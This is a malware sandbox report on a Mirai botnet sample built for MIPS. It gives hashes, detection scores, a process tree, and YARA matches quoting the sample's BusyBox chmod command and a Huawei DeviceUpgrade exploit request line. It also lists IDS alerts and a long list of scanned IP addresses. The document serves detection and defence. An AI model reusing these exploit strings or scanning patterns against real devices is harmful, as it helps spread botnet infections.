Edit tour

Linux Analysis Report
nullnet_load.mips.elf

Overview

General Information

Sample name:	nullnet_load.mips.elf
Analysis ID:	1547988
MD5:	f0119dabc6f3d211d0a8ae42e45db4ef
SHA1:	05d97a009d09436bd4b0837ebb553026846a9474
SHA256:	70aba6420599720d224442a5d289a3970faaf15d0d8b572c212176c291a925bb
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547988
Start date and time:	2024-11-03 15:32:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nullnet_load.mips.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@10/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: nullnet_load.mips.elf

Runtime Messages

Command:	/tmp/nullnet_load.mips.elf
PID:	5564
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	..:: Nullnet Network ::..
Standard Error:

Process Tree

system is lnxubuntu20

nullnet_load.mips.elf (PID: 5564, Parent: 5479, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/nullnet_load.mips.elf

nullnet_load.mips.elf New Fork (PID: 5567, Parent: 5564)

nullnet_load.mips.elf New Fork (PID: 5569, Parent: 5564)

nullnet_load.mips.elf New Fork (PID: 5571, Parent: 5569)

nullnet_load.mips.elf New Fork (PID: 5572, Parent: 5569)

nullnet_load.mips.elf New Fork (PID: 5575, Parent: 5569)

nullnet_load.mips.elf New Fork (PID: 5577, Parent: 5569)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
nullnet_load.mips.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
nullnet_load.mips.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x183ac:$x2: /bin/busybox chmod 777 * /tmp/ 0x180fc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5571.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5571.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x183ac:$x2: /bin/busybox chmod 777 * /tmp/ 0x180fc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5564.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5564.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x183ac:$x2: /bin/busybox chmod 777 * /tmp/ 0x180fc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5567.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5567.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x183ac:$x2: /bin/busybox chmod 777 * /tmp/ 0x180fc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: nullnet_load.mips.elf PID: 5564	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: nullnet_load.mips.elf PID: 5567	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 3 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-03T15:33:06.866789+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53232	41.71.163.79	37215	TCP
2024-11-03T15:33:12.798681+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50466	156.207.157.252	37215	TCP
2024-11-03T15:33:14.892659+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32980	41.152.10.217	37215	TCP
2024-11-03T15:33:15.878222+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35132	156.217.236.232	37215	TCP
2024-11-03T15:33:17.076418+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59766	156.231.69.163	37215	TCP
2024-11-03T15:33:17.844577+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56454	197.78.199.67	37215	TCP
2024-11-03T15:33:17.887565+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41260	156.69.79.25	37215	TCP
2024-11-03T15:33:20.889141+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54134	41.149.194.71	37215	TCP
2024-11-03T15:33:20.904848+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36236	41.118.174.98	37215	TCP
2024-11-03T15:33:24.968858+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38958	156.148.197.220	37215	TCP
2024-11-03T15:33:26.049187+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58296	41.207.100.86	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nullnet_load.mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: nullnet_load.mips.elf

ReversingLabs: Detection: 55%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53232 -> 41.71.163.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50466 -> 156.207.157.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32980 -> 41.152.10.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35132 -> 156.217.236.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59766 -> 156.231.69.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56454 -> 197.78.199.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41260 -> 156.69.79.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54134 -> 41.149.194.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36236 -> 41.118.174.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38958 -> 156.148.197.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58296 -> 41.207.100.86:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.79.77.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.95.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.255.213.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.90.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.118.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.114.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.186.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.172.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.46.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.202.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.111.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.202.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.40.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.152.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.10.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.82.16.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.183.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.148.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.52.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.126.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.208.120.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.203.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.82.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.109.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.182.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.215.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.241.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.204.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.202.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.165.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.66.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.194.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.121.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.128.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.51.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.237.10.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.28.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.56.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.201.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.41.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.152.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.174.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.10.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.22.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.49.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.246.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.22.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.40.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.17.27.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.58.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.108.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.58.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.38.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.113.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.71.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.32.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.2.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.111.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.219.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.205.29.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.215.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.218.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.24.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.237.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.196.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.241.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.110.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.49.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.95.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.3.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.164.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.199.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.143.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.111.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.46.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.97.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.123.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.193.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.180.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.22.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.187.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.193.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.176.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.34.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.188.147.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.96.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.65.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.188.132.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.43.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.38.89.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.91.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.52.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.67.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.121.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.196.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.122.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.73.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.44.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.84.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.137.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.202.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.119.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.77.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.247.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.126.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.225.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.151.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.236.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.50.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.237.249.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.5.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.150.29.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.161.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.146.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.216.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.35.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.185.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.188.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.205.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.36.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.22.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.244.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.25.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.53.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.247.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.174.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.46.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.50.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.12.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.133.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.157.15.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.157.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.43.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.184.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.182.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.147.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.17.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.109.28.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.71.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.87.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.244.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.77.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.48.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.90.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.184.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.77.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.115.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.247.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.103.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.95.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.43.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.51.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.237.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.27.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.208.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.83.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.120.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.128.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.154.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.49.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.34.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.116.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.132.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.149.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.209.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.25.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.3.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.151.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.148.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.225.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.251.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.54.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.155.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.149.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.209.207.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.220.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.52.235.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.137.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.138.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.215.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.145.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.232.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.133.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.87.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.164.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.120.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.6.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.18.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.7.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.174.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.31.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.30.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.202.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.76.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.229.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.241.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.41.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.126.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.134.147.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.179.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.125.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.160.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.153.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.140.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.148.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.91.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.4.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.28.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.89.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.96.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.86.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.148.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.35.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.73.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.158.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.243.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.222.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.160.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.191.196.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.211.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.201.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.212.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.96.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.165.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.45.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.144.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.154.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.246.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.2.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.77.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.121.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.37.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.139.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.202.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.47.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.206.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.108.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.11.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.207.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.184.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.80.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.156.198.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.156.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.147.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.179.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.104.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.255.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.118.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.234.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.58.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.33.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.86.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.19.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.74.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.150.62.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.229.240 ports 1,2,3,5,7,37215
